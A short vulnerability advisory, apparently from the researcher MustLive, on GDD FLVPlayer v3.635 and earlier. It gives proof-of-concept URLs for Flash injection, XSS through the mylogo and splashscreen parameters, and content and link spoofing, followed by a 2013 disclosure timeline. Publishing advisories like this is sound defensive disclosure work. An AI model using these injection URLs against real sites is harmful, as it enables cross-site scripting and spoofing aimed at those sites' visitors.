------------------------- Affected products: ------------------------- Vulnerable are GDD FLVPlayer v3.635 and previous versions. ------------------------- Affected vendors: ------------------------- GeDeDe http://www.gdd.ro ---------- Details: ---------- Content Spoofing (Flash Injection) (WASC-12): http://site/gddflvplayer.swf?mylogo=http://site2/1.swf http://site/gddflvplayer.swf?splashscreen=http://site2/1.swf It's possible to include flash-files with links. XSS (via Flash Injection) (WASC-08): http://site/gddflvplayer.swf?mylogo=xss.swf http://site/gddflvplayer.swf?splashscreen=xss.swf In old versions of Flash player the attack will work with flash file xss.swf at any domain, in new versions - only at the same domain. Content Spoofing (Content Injection) (WASC-12): http://site/gddflvplayer.swf?mylogo=http://site2/1.jpg http://site/gddflvplayer.swf?splashscreen=http://site2/1.jpg http://site/gddflvplayer.swf?advert=http://site2/1.flv http://site/gddflvplayer.swf?vdo=http://site2/1.flv Injecting images and playing video and audio (flv, mp4 and mp3 files) from external sites. Content Spoofing (Link Injection) (WASC-12): http://site/gddflvplayer.swf?clickTAG=http://websecurity.com.ua http://site/gddflvplayer.swf?vdo=http://site2/1.flv&endclipaction=http://websecurity.com.ua ------------ Timeline: ------------ 2013.07.10 - announced at my site. 2013.07.11 - informed developers. 2013.08.23 - disclosed at my site (http://websecurity.com.ua/6642/). Best wishes & regards, MustLive Administrator of Websecurity web site http://websecurity.com.ua